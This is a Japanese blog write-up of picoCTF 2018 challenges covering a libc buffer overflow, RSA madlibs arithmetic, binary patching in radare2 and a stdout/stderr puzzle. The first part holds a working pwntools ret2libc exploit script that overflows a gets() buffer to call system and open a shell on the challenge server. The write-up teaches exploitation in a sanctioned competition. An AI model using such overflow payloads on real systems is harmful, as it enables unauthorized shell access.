0x565b67aa e8c1feffff call sym.__x86.get_pc_thunk.bx | 0x565b67af 81c351180000 add ebx, 0x1851 | 0x565b67b5 83ec0c sub esp, 0xc | 0x565b67b8 8d8390e9ffff lea eax, dword [ebx - 0x1670] | 0x565b67be 50 push eax | 0x565b67bf e854feffff call fcn.565b6618 | 0x565b67c4 83c410 add esp, 0x10 | 0x565b67c7 83ec0c sub esp, 0xc | 0x565b67ca 8d8564ffffff lea eax, dword [local_9ch] | 0x565b67d0 50 push eax | 0x565b67d1 e8dafdffff call sym.imp.gets ; char *gets(char *s) | 0x565b67d6 83c410 add esp, 0x10 | 0x565b67d9 83ec0c sub esp, 0xc | 0x565b67dc 8d8564ffffff lea eax, dword [local_9ch] | 0x565b67e2 50 push eax | 0x565b67e3 e830feffff call fcn.565b6618 | 0x565b67e8 83c410 add esp, 0x10 | 0x565b67eb 83ec0c sub esp, 0xc | 0x565b67ee 8d83a0e9ffff lea eax, dword [ebx - 0x1660] | 0x565b67f4 50 push eax | 0x565b67f5 e81efeffff call fcn.565b6618 | 0x565b67fa 83c410 add esp, 0x10 | 0x565b67fd 90 nop | 0x565b67fe 8b5dfc mov ebx, dword [local_4h] | 0x565b6801 c9 leave \ 0x565b6802 c3 ret
0x565b67dc 8d8564ffffff lea eax, dword [local_9ch] 0x565b67e2 50 push eax 0x565b67d1 e8dafdffff call sym.imp.gets ; char *gets(char *s)
get関数呼び出しはこちら。事前のeax準備部分より、gets関数に渡されるbufferは ebp-0x9c
となります。(vuln()
関数の頭の部分より、var int local_9ch @ ebp-0x9c
とあるので)
更に、ebp自体の 4byteを足した 160 = 0xa0
を適当な値で埋めてやり、その後に来るはずのmainへの戻り値部分から
- system()のアドレス
- system()からの戻りのアドレス (4byte)
- system()の引数 ("bin/sh"なので、格納されている
useful_string
のアドレスを使います)
を指定します。
今回は初めて、pythonの pwntools を使ってみました。python3バージョンの方。
macだと pip install するだけで使えるし、CTFでよくある対話型の扱いも簡単そう。
なによりCTFしてるなら使っとかなきゃ!くらいの勢いな気がする。。。
更に、picoCTF の shell に表示されているホストに接続し、自分のマシンからpicoCTF shellにssh接続しました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from pwn import * # picoCTF の shell serverに接続 print('picoCTF shell server login') print('name:') pico_name = input('>>') print('password') pico_pass = input('>>') pico_ssh = ssh(host = '2018shell4.picoctf.com', user=pico_name, password=pico_pass) pico_ssh.set_working_directory('/problems/got-2-learn-libc_4_526cc290dde8d914a30538d3d0ac4ef1') # targetの実行 & fflush/systemアドレスの取得 p = pico_ssh.process('./vuln') p.recvuntil('fflush ') libc_fflush_addr = int(p.recvline().strip(), 16) print('fflush address: ' + hex(libc_fflush_addr)) libc_system_addr = libc_fflush_addr - 0x229f0 print('system address: ' + hex(libc_system_addr)) p.recvuntil('useful_string: ') useful_string_addr = int(p.recvline().strip(), 16) print('useful_string address: ' + hex(useful_string_addr)) # buffer overflowさせるための入力を作成 payload = b'a' * (0x9c + 0x4) payload += p32(libc_system_addr) payload += b'a' * 0x4 payload += p32(useful_string_addr) print(payload) # 実行 p.sendline(payload) p.interactive()
実行結果
※shell を取ったあとは、flag.txt を cat
コマンドで出力
$ python solve.py (~~中略~~) fflush address: 0xf758d330 system address: 0xf756a940 useful_string address: 0x565fa030 b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@\xa9V\xf7aaaa0\xa0_V' [*] Switching to interactive mode Enter a string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@\xa9V?aaaa0\xa0_V Thanks! Exiting now... $ $ ls flag.txt vuln vuln.c $ $ cat flag.txt picoCTF{syc4al1s_4rE_uS3fUl_88aa45fa}
[Crypto] rsa-madlibs (250pt)
We ran into some weird puzzles we think may mean something, can you help me solve one? Connect with nc 2018shell.picoctf.com 16047
言われたホストにつないでみる。
$ nc 2018shell.picoctf.com 16047 Hello, Welcome to RSA Madlibs Keeping young children entertained, since, well, nev3r Tell us how to fill in the blanks, or if it's even possible to do so Everything, input and output, is decimal, not hex #### NEW MADLIB #### q : 93187 p : 94603 ##### WE'RE GONNA NEED THE FOLLOWING #### n IS THIS POSSIBLE and FEASIBLE? (Y/N):Y #### TIME TO FILL IN THE MADLIB! ### n: 8815769761 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### p : 81203 n : 6315400919 ##### WE'RE GONNA NEED THE FOLLOWING #### q IS THIS POSSIBLE and FEASIBLE? (Y/N):Y #### TIME TO FILL IN THE MADLIB! ### q: 77773 YAHHH! That one was a great madlib!!! #### NEW MADLIB #### e : 3 n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913 ##### WE'RE GONNA NEED THE FOLLOWING #### q p IS THIS POSSIBLE and FEASIBLE? (Y/N):N YAHHH! That one was a great madlib!!! #### NEW MADLIB #### q : 78203 p : 79999 ##### WE'RE GONNA NEED THE FOLLOWING #### totient(n) IS THIS POSSIBLE and FEASIBLE? (Y/N): ...(続く)
RSA絡みの問題が次々に出るので、答えていく。接続のタイムアウトがあるので、ある程度計算を自動化しておきたいところだが、何度やっても同じ値の問題が出るので、答えをメモっておくので十分そう。
問題1
q:93187
, p:94603
の時に、 n
は定まるか?という問題。
上記の質問に Y
で応えると、nを答えよ、と。
n = p * q
なので、計算機でちゃちゃっと計算。
問題2
pとn
が与えられたときの q
を求める。
q = n // p
なので、これも計算機で計算して回答する。
問題3
次の問題は、基底 e
と n
が与えられたときの p,q
を答える。
一般的に、eとnが与えられたのみで p, q がわかってしまうと、RSA暗号が破られてしまうのでできないはず。ただ一定の条件を満たすと、これまた別のCTF問題になって解けてしまう。
まずは深く考える前に N(no)
と回答してみると、次に進めました。
問題4
q : 78203
, p : 79999
のときの totient(n)
を求める。totientの意味を知らなかったので調べる。
その数以下でその数と互いに素な数の個数
とのこと。n自体は p * q
で求まり、totient(n) は素因数分解できれば良さそうなので求まりそう。
大きな数を扱ったり、因数分解・最大公約数/最小公倍数絡みの計算をするときは、pythonだとgmpyが良いらしいので、これを使って計算してみる。
algorithm - How many numbers below N are coprimes to N? - Stack Overflow
こちらからコードを拝借。
#!/usr/bin/env python3 import gmpy n = 6256161797 def prime_factors(x): prime = gmpy.mpz(2) x = gmpy.mpz(x) factors = {} while x >= prime: newx, mult = x.remove(prime) if mult: factors[prime] = mult x = newx prime = prime.next_prime() return factors def euler_phi(x): fac = prime_factors(x) result = 1 for factor in fac: result *= (factor-1) * (factor**(fac[factor]-1)) return result print(euler_phi(n))
実行結果:
6256003596
問題5
plaintext : 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e : 3 n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 ##### WE'RE GONNA NEED THE FOLLOWING #### ciphertext IS THIS POSSIBLE and FEASIBLE? (Y/N):
これは n,e
と平文が与えられた状態で、暗号文が作れるか?という問題。
暗号文は c = pow(p, e, n)
で与えられるので可能。
import gmpy plaintext = 1815907181716474805136452061793917684000871911998851410864797078911161933431337632774829806207517001958179617856720738101327521552576351369691667910371502971480153619360010341709624631317220940851114914911751279825748 e = 3 n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331 c = pow(plaintext, e, n) print(c)
実行結果:
$ python solve.py 26722917505435451150596710555980625220524134812001687080485341361511207096550823814926607028717403343344600191255790864873639087129323153797404989216681535785492257030896045464472300400447688001563694767148451912130180323038978568872458130612657140514751874493071944456290959151981399532582347021031424096175747508579453024891862161356081561032045394147561900547733602483979861042957169820579569242714893461713308057915755735700329990893197650028440038700231719057433874201113850357283873424698585951160069976869223244147124759020366717935504226979456299659682165757462057188430539271285705680101066120475874786208053
問題6
#### NEW MADLIB #### ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323 e : 3 n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext
暗号文と e, n
が与えられたとき、平文がわかるかという問題。これもわかるとマズイので、とりあえず N
で回答。
問題7
#### NEW MADLIB #### q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e : 65537 ##### WE'RE GONNA NEED THE FOLLOWING #### d
p,q,e
がわかっている状態で、d
が求まるのか?という問題。
d = inverse(e, (p-1)*(q-1))
で求まるはず!
from Crypto.Util.number import inverse q = 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756238894784951597211105734179388300051579994253565459304743059533646753003894559 p = 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398338364421624871010292162533041884897182597065662521825095949253625730631876637 e = 65537 d = inverse(e, (p-1)*(q-1)) print(d)
実行結果
$ python solve.py 1405046269503207469140791548403639533127416416214210694972085079171787580463776820425965898174272870486015739516125786182821637006600742140682552321645503743280670839819078749092730110549881891271317396450158021688253989767145578723458252769465545504142139663476747479225923933192421405464414574786272963741656223941750084051228611576708609346787101088759062724389874160693008783334605903142528824559223515203978707969795087506678894006628296743079886244349469131831225757926844843554897638786146036869572653204735650843186722732736888918789379054050122205253165705085538743651258400390580971043144644984654914856729
問題8
#### NEW MADLIB #### p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext : 313988037963374298820978547334691775209030794488153797919908078268748481143989264914905339615142922814128844328634563572589348152033399603422391976806881268233227257794938078078328711322137471700521343697410517378556947578179313088971194144321604618116160929667545497531855177496472117286033893354292910116962836092382600437895778451279347150269487601855438439995904578842465409043702035314087803621608887259671021452664437398875243519136039772309162874333619819693154364159330510837267059503793075233800618970190874388025990206963764588045741047395830966876247164745591863323438401959588889139372816750244127256609 e : 65537 n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 ##### WE'RE GONNA NEED THE FOLLOWING #### plaintext
暗号文、p,e,n
がわかった状態で、平文が求まるか?という問題。
q = n // p d = inverse(e, (p-1)*(q-1)) plaintext = pow(c, d, n)
n, e, d
から鍵の再構築ができるので、可能!
from Crypto.Util.number import inverse p = 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433 ciphertext = 313988037963374298820978547334691775209030794488153797919908078268748481143989264914905339615142922814128844328634563572589348152033399603422391976806881268233227257794938078078328711322137471700521343697410517378556947578179313088971194144321604618116160929667545497531855177496472117286033893354292910116962836092382600437895778451279347150269487601855438439995904578842465409043702035314087803621608887259671021452664437398875243519136039772309162874333619819693154364159330510837267059503793075233800618970190874388025990206963764588045741047395830966876247164745591863323438401959588889139372816750244127256609 e = 65537 n = 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239 q = n // p d = inverse(e, (p-1)*(q-1)) plain = pow(ciphertext, d, n) print(plain)
実行結果:
$ python solve.py 240109877286251840533272915662757983981706320845661471802585807564915966910384357188798388651570045
全部入力し終わると、flagを示唆する文言が
final
If you convert the last plaintext to a hex number, then ascii, you'll find what you're searching for ;)
ほうほう!最後の回答のplaintextを hex -> asciiにすれば flag になるっぽい。
import binascii plaintext = 240109877286251840533272915662757983981706320845661471802585807564915966910384357188798388651570045 flag = bytes.fromhex(hex(plaintext)[2:]).decode('ascii') print(flag)
実行結果:
$ python solve.py picoCTF{d0_u_kn0w_th3_w@y_2_RS@_8d079623}
[Reversing] be-quick-or-be-dead-2 (275pt)
As you enjoy this music even more, another executable be-quick-or-be-dead-2 shows up. Can you run this fast enough too? You can also find the executable in /problems/be-quick-or-be-dead-2_2_7e92e9cc48bad623da1c215c192bc919.
be-quick-or-be-dead-1 のときと同じPVへのリンクが。またようわからんので無視。
落としてきたファイルを念の為確認。
$ file be-quick-or-be-dead-2 be-quick-or-be-dead-2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a6670d34bc3d40dbbfd48cf8da5450cf4633ada7, not stripped
実行ファイル。picoCTFサーバー上で、1と同じく実行してみる。
$ ./be-quick-or-be-d ead-2 Be Quick Or Be Dead 2 ===================== Calculating key... You need a faster machine. Bye bye.
全く同じ。時間切れで終わってしまいました。
picoCTF2018 200pt問題のwrite-up - 好奇心の足跡 の gdbだけでやりきりたい! でやった方法を使ってみました。(SIGNALを無効にしてdebug)
18:29 start
$ gdb be-quick-or-be-dead-1 (gdb) handle all ignore ~~中略~~ (gdb) run Starting program: /problems/be-quick-or-be-dead-2_2_7e92e9cc48bad623da1c215c192bc919/be-quick-or-be-dead-2 Be Quick Or Be Dead 2 ===================== Calculating key... Program terminated with signal SIGKILL, Killed. The program no longer exists.
うーん、1のときよりかなり時間がかかってそうです。SIGALRMではなく、SIGKILLで落とされました。
(gdb) handle SIGKILL nostop Signal Stop Print Pass to program Description SIGKILL No Yes No Killed
SIGKILLで止まらないようにして再実行。…と思ったのですが、SIGKILLはgdbの中で無効化していても有効なようです。ということで、別のやり方を。
しかし set_timer()
を呼び出さない、の方法にしても実行時間が長すぎるのであまり結果変わらず。待ったら出るのか、永遠に出ないのか、実際の競技中だと見極めが難しいところなやつ。
どこで時間がかかっているか、ちゃんと中身を見てみます。
mainから
[0x0040074b]> s main [0x0040085f]> pdf ;-- main: / (fcn) sym.main 62 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ rbp-0x10 | ; var int local_4h @ rbp-0x4 | ; arg int argc @ rdi | ; arg char **argv @ rsi | ; DATA XREF from entry0 (0x4005bd) | 0x0040085f 55 push rbp | 0x00400860 4889e5 mov rbp, rsp | 0x00400863 4883ec10 sub rsp, 0x10 | 0x00400867 897dfc mov dword [local_4h], edi ; argc | 0x0040086a 488975f0 mov qword [local_10h], rsi ; argv | 0x0040086e b800000000 mov eax, 0 | 0x00400873 e8a9ffffff call sym.header | 0x00400878 b800000000 mov eax, 0 | 0x0040087d 90 nop .. | 0x00400882 b800000000 mov eax, 0 | 0x00400887 e842ffffff call sym.get_key | 0x0040088c b800000000 mov eax, 0 | 0x00400891 e863ffffff call sym.print_flag | 0x00400896 b800000000 mov eax, 0 | 0x0040089b c9 leave \ 0x0040089c c3 ret
get_key
を見てみます。
[0x0040085f]> s sym.get_key [0x004007ce]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x400887) | 0x004007ce 55 push rbp | 0x004007cf 4889e5 mov rbp, rsp | 0x004007d2 bfb8094000 mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..." | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc b800000000 mov eax, 0 | 0x004007e1 e865ffffff call sym.calculate_key | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | 0x004007f6 90 nop | 0x004007f7 5d pop rbp \ 0x004007f8 c3 ret
今回も 0x004007d2
の "Calculating key..." が出力されたあと、 0x004007ec
の "Done calculating key" が出ずに止まっています。
この間 calculate_key
が呼ばれているので、今回もここに時間のかかる理由がありそうです。見ていきます。
[0x004007ce]> s sym.calculate_key [0x0040074b]> pdf / (fcn) sym.calculate_key 16 | sym.calculate_key (); | ; CALL XREF from sym.get_key (0x4007e1) | 0x0040074b 55 push rbp | 0x0040074c 4889e5 mov rbp, rsp | 0x0040074f bf02040000 mov edi, 0x402 ; 1026 | 0x00400754 e8adffffff call sym.fib | 0x00400759 5d pop rbp \ 0x0040075a c3 ret
意外と短い。call sym.fib
という関数が呼ばれています。前回なかったやつですね。
[0x0040074b]> s sym.fib [0x00400706]> pdf / (fcn) sym.fib 69 | sym.fib (int arg1); | ; var int local_24h @ rbp-0x24 | ; var int local_14h @ rbp-0x14 | ; arg int arg1 @ rdi | ; CALL XREFS from sym.fib (0x400728, 0x400737) | ; CALL XREF from sym.calculate_key (0x400754) | 0x00400706 55 push rbp | 0x00400707 4889e5 mov rbp, rsp | 0x0040070a 53 push rbx | 0x0040070b 4883ec28 sub rsp, 0x28 ; '(' | 0x0040070f 897ddc mov dword [local_24h], edi ; arg1 | 0x00400712 837ddc01 cmp dword [local_24h], 1 | ,=< 0x00400716 7708 ja 0x400720 | | 0x00400718 8b45dc mov eax, dword [local_24h] | | 0x0040071b 8945ec mov dword [local_14h], eax | ,==< 0x0040071e eb21 jmp 0x400741 | |`-> 0x00400720 8b45dc mov eax, dword [local_24h] | | 0x00400723 83e801 sub eax, 1 | | 0x00400726 89c7 mov edi, eax`` | | 0x00400728 e8d9ffffff call sym.fib | | 0x0040072d 89c3 mov ebx, eax | | 0x0040072f 8b45dc mov eax, dword [local_24h] | | 0x00400732 83e802 sub eax, 2 | | 0x00400735 89c7 mov edi, eax | | 0x00400737 e8caffffff call sym.fib | | 0x0040073c 01d8 add eax, ebx | | 0x0040073e 8945ec mov dword [local_14h], eax | | ; CODE XREF from sym.fib (0x40071e) | `--> 0x00400741 8b45ec mov eax, dword [local_14h] | 0x00400744 4883c428 add rsp, 0x28 ; '(' | 0x00400748 5b pop rbx | 0x00400749 5d pop rbp \ 0x0040074a c3 ret
おー、なんか複雑そう。
0x0040070f
で edi
の値を dword [local_24h]
に入れています。この値と1を、次の行で比較し、1より大きければ 0x400720
に飛びます。
ここで飛ばなくなった場合、 dword [local_24h]
の値が最終的にreturn値になっているようなので、ちゃんと最終的に何になるかを確認しないとだめみたいです。
0x00400728
と 0x00400737
で再帰的に fib() 関数を呼んでいます。 ここで時間がかかっていると考えるのが自然そうです。
また、関数名と再帰というところから、フィボナッチ数列を計算していると予測します。(中身ちゃんと見れてない…)
fib() 関数の呼び出し元 calculate_key() 関数では
0x0040074f bf02040000 mov edi, 0x402 ; 1026 0x00400754 e8adffffff call sym.fib
とあるところから、edi に 1026d が入った状態で fib() 関数を呼ばれています。
ということは、ここで返る値は、フィボナッチ数列の 1026 個目の値になるでしょうか。
フィボナッチ数列の計算の高速化(Python版) - Qiita
のコードをお借りして計算すると、
#!/usr/bin/env python3 # -*- coding:utf-8 -*- def fib(n): if n <= 1: return n result = [1, 0, 0, 1] matrix = [1, 1, 1, 0] while n > 0: if n % 2: result = mul(matrix, result) matrix = mul(matrix, matrix) n //= 2 return result[2] def mul(a, b): return [a[0]*b[0] + a[1]*b[2], a[0]*b[1] + a[1]*b[3], a[2]*b[0] + a[3]*b[2], a[2]*b[1] + a[3]*b[3]] n = 1026 result = fib(n) print(result) print("---- 32bit hex ---") print(hex(result & (2 ** 32 - 1)))
実行結果
$ python fib.py 11798692818055232550147578884125865608089028544560913468519228968187430794620907976123201977895385245239705082830656904630178314159866370495211539023461052682811230321796555930907722724384131648527339458407317543768 ---- 32bit hex --- 0xf70a9b58
となりました。
fib(1026)
を計算しましたが、eaxに保存して扱う(eaxは32bitアクセス)ため、32bitまでに切り落として16進表現にして出力しています。
あとは、再帰で計算させずに予め答えを格納するように書き換えればいけるはず!
calculate_key() 関数の呼び出し元の get_key() 関数を書き換えます。
calculate_key() 関数の呼び出し部分(0x004007e1
)を、 eax に上記計算結果を格納します。
[0x0040085f]> s sym.get_key [0x004007ce]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x400887) | 0x004007ce 55 push rbp | 0x004007cf 4889e5 mov rbp, rsp | 0x004007d2 bfb8094000 mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..." | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc b800000000 mov eax, 0 | 0x004007e1 e865ffffff call sym.calculate_key | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | 0x004007f6 90 nop | 0x004007f7 5d pop rbp \ 0x004007f8 c3 ret [0x004007ce]> s 0x004007e1 [0x004007e1]> pd 1 | 0x004007e1 e865ffffff call sym.calculate_key [0x004007e1]> wa mov eax, 0xf70a9b58 Written 5 byte(s) (mov eax, 0xf70a9b58) = wx b8589b0af7 [0x004007e1]> pdf / (fcn) sym.get_key 43 | sym.get_key (); | ; CALL XREF from sym.main (0x400887) | 0x004007ce 55 push rbp | 0x004007cf 4889e5 mov rbp, rsp | 0x004007d2 bfb8094000 mov edi, str.Calculating_key... ; 0x4009b8 ; "Calculating key..." | 0x004007d7 e854fdffff call sym.imp.puts ; int puts(const char *s) | 0x004007dc b800000000 mov eax, 0 | 0x004007e1 b8589b0af7 mov eax, 0xf70a9b58 | 0x004007e6 8905d4082000 mov dword [obj.key], eax ; obj.__TMC_END ; [0x6010c0:4]=0 | 0x004007ec bfcb094000 mov edi, str.Done_calculating_key ; 0x4009cb ; "Done calculating key" | 0x004007f1 e83afdffff call sym.imp.puts ; int puts(const char *s) | 0x004007f6 90 nop | 0x004007f7 5d pop rbp \ 0x004007f8 c3 ret [0x004007e1]> dc Be Quick Or Be Dead 2 ===================== Calculating key... Done calculating key Printing flag: picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}
しかし一体、あのPVはなにか意味があるのだろうか…?
[General] in out error (275pt)
Can you utlize stdin, stdout, and stderr to get the flag from this program? You can also find it in /problems/in-out-error_1_24ebc7186086f0f9a710de008628c561 on the shell server
picoCTF shell serverの指定のディレクトリに飛ぶと、DLできる in-out-error
ファイルと flag.txt
が落ちている。これは最終的には shell server で実行する必要がありそう。
$ ./in-out-error Hey There! If you want the flag you have to ask nicely for it. Enter the phrase "Please may I have the flag?" into stdin and you shall receive. You didn't ask correctly :( No flag for you
入力を空にすると、ちゃんと聞いてよと怒られました。ちゃんと Please may I have the flag?
と入力すると、下記の出力が。ぱっと見flagがありそうですが、grepしてもありません。
Thank you for asking so nicely! pWiec'orCeT Fn{op 1spt1rnagn_g1eSr_s4 _t7oh 1lnogv_e7 bY9o3u6 0kcnao}wp itchoeC TrFu{lpe1sp 1anngd_ 1sSo_ 4d_o7 hI1 nAg _f7ubl9l3 6c0ocmam}iptimceonCtT'Fs{ pw1hpa1tn gI_'1mS _t4h_i7nhk1inngg_ 7obf9 3Y6o0uc aw}opuilcdonC'TtF {gpe1tp 1tnhgi_s1 Sf_r4o_m7 ha1nnyg _o7tbh9e3r6 0gcuay} p iIc ojCuTsFt{ pw1apn1nnag _t1eSl_l4 _y7ohu1 nhgo_w7 bI9'3m6 0fceae}lpiincgo CGToFt{tpa1 pm1ankge_ 1ySo_u4 _u7nhd1enrgs_t7abn9d3 6 0Nceav}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_ 7Nhe1vnegr_ 7gbo9n3n6a0 clae}tp iycoouC TdFo{wpn1 pN1envge_r1 Sg_o4n_n7ah 1rnugn_ 7abr9o3u6n0dc aa}npdi cdoeCsTeFr{tp 1ypo1un gN_e1vSe_r4 _g7ohn1nnag _m7abk9e3 6y0ocua }cpriyc oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_e7 bN9e3v6e0rc ag}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_o7ub 9 3W6e0'cvae} pkincoowCnT Fe{apc1hp 1ontgh_e1rS _f4o_r7 hs1on gl_o7nbg9 3Y6o0ucra }hpeiacrotC'TsF {bpe1epn1 nagc_h1iSn_g4,_ 7bhu1tn gY_o7ub'9r3e6 0tcoao} psihcyo CtToF {spa1yp 1intg _I1nSs_i4d_e7,h 1wneg _b7obt9h3 6k0ncoaw} pwihcaotC'TsF {bpe1epn1 nggo_i1nSg_ 4o_n7 hW1en gk_n7obw9 3t6h0ec ag}apmiec oaCnTdF {wpe1'pr1en gg_o1nSn_a4 _p7lha1yn gi_t7 b 9A3n6d0 ciaf} pyiocuo CaTsFk{ pm1ep 1hnogw_ 1IS'_m4 _f7ehe1lnign_g7 bD9o3n6'0tc at}eplilc omCeT Fy{opu1'pr1en gt_o1oS _b4l_i7nhd1 ntgo_ 7sbe9e3 6 0Nceav}epri cgooCnTnFa{ pg1ipv1en gy_o1uS _u4p_ 7Nhe1vnegr_ 7gbo9n3n6a0 clae}tp iycoouC TdFo{wpn1 pN1envge_r1 Sg_o4n_n7ah 1rnugn_ 7abr9o3u6n0dc aa}npdi cdoeCsTeFr{tp 1ypo1un gN_e1vSe_r4 _g7ohn1nnag _m7abk9e3 6y0ocua }cpriyc oNCeTvFe{rp 1gpo1nnnga_ 1sSa_y4 _g7oho1dnbgy_e7 bN9e3v6e0rc ag}opnincao CtTeFl{lp 1ap 1lnige_ 1aSn_d4 _h7uhr1tn gy_o7ub 9 3N6e0vcear} pgiocnonCaT Fg{ipv1ep 1ynogu_ 1uSp_ 4N_e7vhe1rn gg_o7nbn9a3 6l0ecta }ypoiuc odCoTwFn{ pN1epv1enrg _g1oSn_n4a_ 7rhu1nn ga_r7obu9n3d6 0acnad} pdiecsoeCrTtF {ypo1up 1Nnegv_e1rS _g4o_n7nha1 nmga_k7eb 9y3o6u0 ccar}yp iNceovCeTrF {gpo1npn1an gs_a1yS _g4o_o7dhb1yneg _N7ebv9e3r6 0gcoan}npai ctoeClTlF {ap 1lpi1en ga_n1dS _h4u_r7th 1ynogu_ 7(bO9o3h6,0 cgai}vpei cyooCuT Fu{pp)1 p(1Onogh_,1 Sg_i4v_e7 hy1onug _u7pb)9 3N6e0vcear} pgiocnonCaT Fg{ipv1ep,1 nnge_v1eSr_ 4g_o7nhn1an gg_i7vbe9 3(6G0icvae} pyiocuo CuTpF){ pN1epv1enrg _g1oSn_n4a_ 7ghi1vneg,_ 7nbe9v3e6r0 cgao}npniac ogCiTvFe{ p(1Gpi1vneg _y1oSu_ 4u_p7)h 1 nWge_'7vbe9 3k6n0ocwan} peiaccohC ToFt{hpe1rp 1fnogr_ 1sSo_ 4l_o7nhg1 nYgo_u7rb 9h3e6a0rcta'}sp ibceoeCnT Fa{cph1ipn1gn,g _b1uSt_ 4Y_o7uh'1rneg _t7obo9 3s6h0yc at}op iscaoyC TiFt{ pI1nps1indge_,1 Sw_e4 _b7oht1hn gk_n7obw9 3w6h0acta'}sp ibceoeCnT Fg{opi1npg1 nogn_ 1WSe_ 